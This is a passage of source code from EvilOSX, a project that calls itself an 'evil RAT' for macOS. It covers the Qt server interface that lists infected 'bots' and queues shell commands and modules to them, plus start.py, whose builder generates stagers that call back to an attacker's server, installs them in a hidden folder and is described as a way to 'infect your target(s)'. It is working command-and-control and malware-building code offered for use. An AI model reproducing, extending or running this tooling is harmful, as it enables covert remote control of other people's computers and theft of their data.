418 | def _on_module_change(self, module_name):
419 | """Handles module combobox changes.
420 |
421 | :type module_name: str
422 | """
423 | while self._sub_layout.count():
424 | child = self._sub_layout.takeAt(0)
425 |
426 | if child.widget():
427 | child.widget().deleteLater()
428 |
429 | cached_module = modules.get_module(module_name)
430 |
431 | if not cached_module:
432 | cached_module = modules.load_module(module_name, self._module_view, self._model)
433 |
434 | input_fields = []
435 |
436 | for option_name in cached_module.get_setup_messages():
437 | input_field = QLineEdit()
438 | input_fields.append(input_field)
439 |
440 | self._sub_layout.addWidget(QLabel(option_name))
441 | self._sub_layout.addWidget(input_field)
442 |
443 | run_button = QPushButton("Run")
444 | run_button.setMaximumWidth(250)
445 | run_button.setMinimumHeight(25)
446 |
447 | run_button.pressed.connect(lambda: self._on_module_run(module_name, input_fields))
448 |
449 | self._sub_layout.addWidget(QLabel(""))
450 | self._sub_layout.addWidget(run_button)
451 | self._sub_layout.setContentsMargins(0, 15, 0, 0)
452 |
453 | def display_info(self, text):
454 | """
455 | :type text: str
456 | """
457 | message_box = QMessageBox()
458 |
459 | message_box.setIcon(QMessageBox.Information)
460 | message_box.setWindowTitle("Information")
461 | message_box.setText(text)
462 | message_box.setStandardButtons(QMessageBox.Ok)
463 | message_box.exec_()
464 |
465 | def _on_module_run(self, module_name, input_fields):
466 | """Handles running modules.
467 |
468 | :type module_name: str
469 | :type input_fields: list
470 | """
471 | set_options = []
472 |
473 | for input_field in input_fields:
474 | set_options.append(input_field.text())
475 |
476 | module = modules.get_module(module_name)
477 |
478 | if not module:
479 | module = modules.load_module(module_name, self._module_view, self._model)
480 |
481 | successful, options = module.setup(set_options)
482 |
483 | if successful:
484 | if module_name == "remove_bot":
485 | code = loaders.get_remove_code(self._current_bot.loader_name)
486 | elif module_name == "update_bot":
487 | code = loaders.get_update_code(self._current_bot.loader_name)
488 | else:
489 | code = modules.get_code(module_name)
490 |
491 | if not options:
492 | options = {}
493 |
494 | options["module_name"] = module_name
495 |
496 | self._model.add_command(self._current_bot.uid, Command(
497 | CommandType.MODULE, code, options
498 | ))
499 |
500 | self.display_info("Module added to the queue of:\n {}@{}".format(
501 | self._current_bot.username, self._current_bot.hostname)
502 | )
503 |
504 | def _on_command_run(self, command_input):
505 | """Handles running commands.
506 |
507 | :type command_input: QLineEdit
508 | """
509 | if command_input.text().strip() == "":
510 | return
511 |
512 | self._model.add_command(self._current_bot.uid, Command(CommandType.SHELL, command_input.text().encode()))
513 |
514 | command_input.clear()
515 | self.display_info("Command added to the queue of:\n {}@{}".format(
516 | self._current_bot.username, self._current_bot.hostname
517 | ))
518 |
519 |
520 | class _BotTable(QTableWidget):
521 | """Table which holds all bots."""
522 |
523 | def __init__(self):
524 | super(_BotTable, self).__init__()
525 |
526 | self._header_labels = ["UID", "Username", "Version", "Last Seen"]
527 |
528 | self.setColumnCount(len(self._header_labels))
529 | self.setHorizontalHeaderLabels(self._header_labels)
530 |
531 | self.setSelectionBehavior(QAbstractItemView.SelectRows)
532 | self.setAlternatingRowColors(True)
533 | self.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff)
534 | self.setEditTriggers(QAbstractItemView.NoEditTriggers)
535 |
536 | for i in range(len(self._header_labels)):
537 | self.horizontalHeader().setSectionResizeMode(i, QHeaderView.Stretch)
538 |
539 | def set_on_selection_changed(self, callback_function):
540 | self.itemSelectionChanged.connect(callback_function)
541 |
542 | def add_bot(self, bot):
543 | """Adds a bot to the table.
544 |
545 | :rtype bot: Bot
546 | """
547 | self.setRowCount(self.rowCount() + 1)
548 | created_row = self.rowCount() - 1
549 |
550 | self.setItem(created_row, 0, QTableWidgetItem(bot.uid))
551 | self.setItem(created_row, 1, QTableWidgetItem(bot.username + "@" + bot.hostname))
552 | self.setItem(created_row, 2, QTableWidgetItem(bot.system_version))
553 | self.setItem(created_row, 3, QTableWidgetItem(
554 | strftime("%a, %b %d @ %H:%M:%S", localtime(bot.last_online))
555 | ))
556 |
557 | def remove_bot(self, bot):
558 | """Removes a bot from the table.
559 |
560 | :rtype bot: Bot
561 | """
562 | pass
563 |
564 |
565 | class _ControlTab(QWidget):
566 | """Tab which allows the user to control individual bots.
567 |
568 | Handles any events fired by the table etc.
569 | """
570 |
571 | def __init__(self, model):
572 | super(_ControlTab, self).__init__()
573 |
574 | self._model = model
575 |
576 | layout = QGridLayout()
577 | splitter = QSplitter()
578 |
579 | self._bot_table = _BotTable()
580 | self._responses_tab = _ResponsesTab()
581 | self._execute_tab = _ExecuteTab(self._responses_tab, model)
582 |
583 | self._tab_widget = QTabWidget()
584 | self._tab_widget.addTab(self._execute_tab, "Execute")
585 | self._tab_widget.addTab(self._responses_tab, "Responses")
586 |
587 | splitter.setOrientation(Qt.Vertical)
588 | splitter.addWidget(self._bot_table)
589 | splitter.addWidget(self._tab_widget)
590 | splitter.setSizes([50, 100])
591 |
592 | layout.addWidget(splitter)
593 | self.setLayout(layout)
594 |
595 | self._register_listeners()
596 |
597 | def _register_listeners(self):
598 | self._bot_table.set_on_selection_changed(self.on_table_selection_changed)
599 |
600 | def on_table_selection_changed(self):
601 | bot_uid = self._bot_table.item(self._bot_table.currentRow(), 0).text()
602 |
603 | self._execute_tab.set_current_bot(self._model.get_bot(bot_uid))
604 | self._execute_tab.set_module_layout()
605 | self._responses_tab.clear()
606 |
607 | def get_table(self):
608 | """
609 | :rtype: _BotTable
610 | """
611 | return self._bot_table
612 |
613 | def get_responses_tab(self):
614 | """
615 | :rtype: _ResponsesTab
616 | """
617 | return self._responses_tab
618 |
619 |
620 | class _HomeTab(QWidget):
621 | """Home tab which contains information about EvilOSX."""
622 |
623 | def __init__(self):
624 | super(_HomeTab, self).__init__()
625 |
626 | self._layout = QHBoxLayout()
627 | self.setLayout(self._layout)
628 |
629 | message_label = QLabel("""\
630 | Welcome to EvilOSX:
631 | An evil RAT (Remote Administration Tool) for macOS / OS X.
632 |
633 | Author: Marten4n6
634 | License: GPLv3
635 | Version: {}
636 | """.format(VERSION))
637 | logo_label = QLabel()
638 |
639 | logo_path = path.join(path.dirname(__file__), path.pardir, path.pardir, "data", "images", "logo_334x600.png")
640 | logo_label.setPixmap(QPixmap(logo_path))
641 |
642 | self._layout.setAlignment(Qt.AlignCenter)
643 | self._layout.setSpacing(50)
644 | self._layout.addWidget(message_label)
645 | self._layout.addWidget(logo_label)
646 |
647 |
648 | class _TabbedWidget(QTabWidget):
649 | """Widget which holds all tabs."""
650 |
651 | def __init__(self, model):
652 | super(_TabbedWidget, self).__init__()
653 |
654 | self._home_tab = _HomeTab()
655 | self._control_tab = _ControlTab(model)
656 | self._broadcast_tab = _BroadcastTab(model)
657 | self._builder_tab = _BuilderTab()
658 |
659 | self.addTab(self._home_tab, "Home")
660 | self.addTab(self._control_tab, "Control")
661 | self.addTab(self._broadcast_tab, "Broadcast")
662 | self.addTab(self._builder_tab, "Builder")
663 |
664 | def get_home_tab(self):
665 | """
666 | :rtype: _HomeTab
667 | """
668 | return self._home_tab
669 |
670 | def get_control_tab(self):
671 | """
672 | :rtype: _ControlTab
673 | """
674 | return self._control_tab
675 |
676 | def get_broadcast_tab(self):
677 | """
678 | :rtype: _BroadcastTab
679 | """
680 | return self._broadcast_tab
681 |
682 | def get_builder_tab(self):
683 | """
684 | :rtype: _BuilderTab
685 | """
686 | return self._builder_tab
687 |
688 |
689 | class _MainWindow(QMainWindow):
690 | """Main GUI window which displays the tabbed widget."""
691 |
692 | def __init__(self, central_widget):
693 | """
694 | :type central_widget: QWidget
695 | """
696 | super(_MainWindow, self).__init__()
697 |
698 | self.setGeometry(0, 0, 1000, 680)
699 | self.setCentralWidget(central_widget)
700 |
701 |
702 | class _QDarkPalette(QPalette):
703 | """Dark palette for a Qt application."""
704 |
705 | def __init__(self):
706 | super(_QDarkPalette, self).__init__()
707 |
708 | self._color_white = QColor(255, 255, 255)
709 | self._color_black = QColor(0, 0, 0)
710 | self._color_red = QColor(255, 0, 0)
711 | self._color_primary = QColor(53, 53, 53)
712 | self._color_secondary = QColor(35, 35, 35)
713 | self._color_tertiary = QColor(42, 130, 218)
714 |
715 | self.setColor(QPalette.Window, self._color_primary)
716 | self.setColor(QPalette.WindowText, self._color_white)
717 | self.setColor(QPalette.Base, self._color_secondary)
718 | self.setColor(QPalette.AlternateBase, self._color_primary)
719 | self.setColor(QPalette.ToolTipBase, self._color_white)
720 | self.setColor(QPalette.ToolTipText, self._color_white)
721 | self.setColor(QPalette.Text, self._color_white)
722 | self.setColor(QPalette.Button, self._color_primary)
723 | self.setColor(QPalette.ButtonText, self._color_white)
724 | self.setColor(QPalette.BrightText, self._color_red)
725 | self.setColor(QPalette.Link, self._color_tertiary)
726 | self.setColor(QPalette.Highlight, self._color_tertiary)
727 | self.setColor(QPalette.HighlightedText, self._color_black)
728 |
729 | def apply(self, application):
730 | """Apply this theme to the given application.
731 |
732 | :type application: QApplication
733 | """
734 | application.setStyle("Fusion")
735 | application.setPalette(self)
736 | application.setStyleSheet("QToolTip {{"
737 | "color: {white};"
738 | "background-color: {tertiary};"
739 | "border: 1px solid {white};"
740 | "}}".format(white="rgb({}, {}, {})".format(*self._color_white.getRgb()),
741 | tertiary="rgb({}, {}, {})".format(*self._color_tertiary.getRgb())))
742 |
743 |
744 | class ViewGUI(ViewABC):
745 | """This class interacts with the user via a graphical user interface.
746 |
747 | Used by the controller to communicate with the view.
748 | """
749 |
750 | def __init__(self, model, server_port):
751 | """
752 | :type server_port: int
753 | """
754 | self._model = model
755 | self._server_port = server_port
756 |
757 | self._application = QApplication([])
758 | self._tabbed_widget = _TabbedWidget(model)
759 | self._main_window = _MainWindow(self._tabbed_widget)
760 |
761 | self._main_window.setWindowTitle("EvilOSX v{} | Port: {} | Available bots: 0".format(VERSION, str(server_port)))
762 |
763 | _QDarkPalette().apply(self._application)
764 |
765 | def get_tabbed_widget(self):
766 | """
767 | :rtype: QWidget
768 | """
769 | return self._tabbed_widget
770 |
771 | def output(self, line, prefix=""):
772 | """
773 | :rtype: line: str
774 | :rtype: prefix: str
775 | """
776 | self._tabbed_widget.get_control_tab().get_responses_tab().output(line)
777 |
778 | def on_response(self, response):
779 | """
780 | :type response: str
781 | """
782 | responses_tab = self._tabbed_widget.get_control_tab().get_responses_tab()
783 |
784 | self.output_separator()
785 |
786 | for line in response.splitlines():
787 | responses_tab.output(line)
788 |
789 | def on_bot_added(self, bot):
790 | """
791 | :rtype: Bot
792 | """
793 | self._tabbed_widget.get_control_tab().get_table().add_bot(bot)
794 | self._main_window.setWindowTitle("EvilOSX v{} | Port: {} | Available bots: {}".format(
795 | VERSION, str(self._server_port), self._model.get_bot_amount()
796 | ))
797 |
798 | def on_bot_removed(self, bot):
799 | """
800 | :type: Bot
801 | """
802 | bot_table = self._tabbed_widget.get_control_tab().get_table()
803 |
804 | bot_table.remove_bot(bot)
805 |
806 | def on_bot_path_change(self, bot):
807 | """
808 | :type bot: Bot
809 | """
810 | super(self).on_bot_path_change(bot)
811 |
812 | def start(self):
813 | self._main_window.show()
814 | self._application.exec_()
815 |
--------------------------------------------------------------------------------
/server/view/helper.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | __author__ = "Marten4n6"
3 | __license__ = "GPLv3"
4 |
5 | from abc import ABCMeta, abstractmethod
6 | from server.model import Bot
7 |
8 |
9 | class ViewABC:
10 | """Abstract base class for views, used by the background server."""
11 | __metaclass__ = ABCMeta
12 |
13 | @abstractmethod
14 | def output(self, line, prefix=""):
15 | """Adds a line to the output view.
16 |
17 | :type line: str
18 | :type prefix: str
19 | """
20 | pass
21 |
22 | def output_separator(self):
23 | self.output("-" * 5)
24 |
25 | @abstractmethod
26 | def on_response(self, response):
27 | """Called when a bot sends a response.
28 |
29 | :type response: str
30 | """
31 | pass
32 |
33 | @abstractmethod
34 | def on_bot_added(self, bot):
35 | """Called when a bot connects for the first time.
36 |
37 | :type bot: Bot
38 | """
39 | pass
40 |
41 | @abstractmethod
42 | def on_bot_removed(self, bot):
43 | """Called when a bot gets removed.
44 |
45 | :type bot: Bot
46 | """
47 |
48 | @abstractmethod
49 | def on_bot_path_change(self, bot):
50 | """Called when the bot's local path changes.
51 |
52 | :type bot: Bot
53 | """
54 | pass
55 |
--------------------------------------------------------------------------------
/start.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 | """Starts the server."""
4 | __author__ = "Marten4n6"
5 | __license__ = "GPLv3"
6 |
7 | from argparse import ArgumentParser
8 | from os import path
9 | from sys import exit
10 | from uuid import uuid4
11 |
12 | from bot import launchers, loaders
13 | from server.handler import start_server
14 | from server.model import Model
15 | from server.version import VERSION
16 |
17 | BANNER = """\
18 | ▓█████ ██▒ █▓ ██▓ ██▓ ▒█████ ██████ ▒██ ██▒
19 | ▓█ ▀▓██░ █▒▓██▒▓██▒ ▒██▒ ██▒▒██ ▒ ▒▒ █ █ ▒░
20 | ▒███ ▓██ █▒░▒██▒▒██░ ▒██░ ██▒░ ▓██▄ ░░ █ ░
21 | ▒▓█ ▄ ▒██ █░░░██░▒██░ ▒██ ██░ ▒ ██▒ ░ █ █ ▒ @{} (v{})
22 | ░▒████▒ ▒▀█░ ░██░░██████▒░ ████▓▒░▒██████▒▒▒██▒ ▒██▒ GPLv3 licensed
23 | ░░ ▒░ ░ ░ ▐░ ░▓ ░ ▒░▓ ░░ ▒░▒░▒░ ▒ ▒▓▒ ▒ ░▒▒ ░ ░▓ ░
24 | ░ ░ ░ ░ ░░ ▒ ░░ ░ ▒ ░ ░ ▒ ▒░ ░ ░▒ ░ ░░░ ░▒ ░
25 | ░ ░░ ▒ ░ ░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░
26 | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
27 | """.format(__author__, VERSION)
28 |
29 | MESSAGE_INPUT = "[\033[1m?\033[0m] "
30 | MESSAGE_INFO = "[\033[94mI\033[0m] "
31 | MESSAGE_ATTENTION = "[\033[91m!\033[0m] "
32 |
33 | try:
34 | # Python2 support.
35 | # noinspection PyShadowingBuiltins
36 | input = raw_input
37 | except NameError:
38 | pass
39 |
40 |
41 | def builder():
42 | server_host = input(MESSAGE_INPUT + "Server host (where EvilOSX will connect to): ")
43 | server_port = int(input(MESSAGE_INPUT + "Server port: "))
44 | program_directory = input(MESSAGE_INPUT + "Where should EvilOSX live? "
45 | "(Leave empty for ~/Library/Containers/.): ")
46 |
47 | if not program_directory:
48 | program_directory = "~/Library/Containers/.{}".format(launchers.get_random_string())
49 |
50 | # Select a launcher
51 | launcher_names = launchers.get_names()
52 |
53 | print(MESSAGE_INFO + "{} available launchers: ".format(len(launcher_names)))
54 | for i, launcher_name in enumerate(launcher_names):
55 | print("{} = {}".format(str(i), launcher_name))
56 |
57 | while True:
58 | try:
59 | selected_launcher = input(MESSAGE_INPUT + "Launcher to use (Leave empty for 1): ")
60 |
61 | if not selected_launcher:
62 | selected_launcher = 1
63 | else:
64 | selected_launcher = int(selected_launcher)
65 |
66 | selected_launcher = launcher_names[selected_launcher]
67 | break
68 | except (ValueError, IndexError):
69 | continue
70 |
71 | # Select a loader
72 | loader_names = loaders.get_names()
73 |
74 | print(MESSAGE_INFO + "{} available loaders: ".format(len(loader_names)))
75 | for i, loader_name in enumerate(loader_names):
76 | print("{} = {} ({})".format(str(i), loader_name, loaders.get_info(loader_name)["Description"]))
77 |
78 | while True:
79 | try:
80 | selected_loader = input(MESSAGE_INPUT + "Loader to use (Leave empty for 0): ")
81 |
82 | if not selected_loader:
83 | selected_loader = 0
84 | else:
85 | selected_loader = int(selected_loader)
86 |
87 | selected_loader = loader_names[selected_loader]
88 | break
89 | except (ValueError, IndexError):
90 | continue
91 |
92 | set_options = []
93 |
94 | for option_message in loaders.get_option_messages(selected_loader):
95 | set_options.append(input(MESSAGE_INPUT + option_message))
96 |
97 | # Loader setup
98 | loader_options = loaders.get_options(selected_loader, set_options)
99 | loader_options["program_directory"] = program_directory
100 |
101 | # Create the launcher
102 | print(MESSAGE_INFO + "Creating the \"{}\" launcher...".format(selected_launcher))
103 | stager = launchers.create_stager(server_host, server_port, loader_options)
104 |
105 | launcher_extension, launcher = launchers.generate(selected_launcher, stager)
106 | launcher_path = path.realpath(path.join(path.dirname(__file__), "data", "builds", "Launcher-{}.{}".format(
107 | str(uuid4())[:6], launcher_extension
108 | )))
109 |
110 | with open(launcher_path, "w") as output_file:
111 | output_file.write(launcher)
112 |
113 | print(MESSAGE_INFO + "Launcher written to: {}".format(launcher_path))
114 |
115 |
116 | def main():
117 | parser = ArgumentParser()
118 | parser.add_argument("-p", "--port", help="server port to listen on", type=int)
119 | parser.add_argument("--cli", help="show the command line interface", action="store_true")
120 | parser.add_argument("--builder", help="build a launcher to infect your target(s)", action="store_true")
121 | parser.add_argument("--no-banner", help="prevents the EvilOSX banner from being displayed", action="store_true")
122 |
123 | arguments = parser.parse_args()
124 |
125 | if not arguments.no_banner:
126 | try:
127 | print(BANNER)
128 | except UnicodeEncodeError:
129 | # Thrown on my Raspberry PI (via SSH).
130 | print(MESSAGE_ATTENTION + "Failed to print fancy banner, skipping...")
131 |
132 | if arguments.builder:
133 | # Run the builder then exit.
134 | builder()
135 | exit(0)
136 |
137 | if arguments.port:
138 | server_port = arguments.port
139 | else:
140 | while True:
141 | try:
142 | server_port = int(input(MESSAGE_INPUT + "Server port to listen on: "))
143 | break
144 | except ValueError:
145 | print(MESSAGE_ATTENTION + "Invalid port.")
146 | continue
147 |
148 | model = Model()
149 | if arguments.cli:
150 | from server.view.cli import ViewCLI
151 | view = ViewCLI(model, server_port)
152 | else:
153 | from server.view.gui import ViewGUI
154 | view = ViewGUI(model, server_port)
155 |
156 | # Start handling bot requests
157 | start_server(model, view, server_port)
158 |
159 | # Start the view, blocks until exit.
160 | view.start()
161 |
162 | print(MESSAGE_INFO + "Feel free to submit any issues or feature requests on GitHub.")
163 | print(MESSAGE_INFO + "Goodbye!")
164 |
165 |
166 | if __name__ == '__main__':
167 | try:
168 | main()
169 | except KeyboardInterrupt:
170 | print("\n" + MESSAGE_ATTENTION + "Interrupted.")
171 | exit(0)
172 |
--------------------------------------------------------------------------------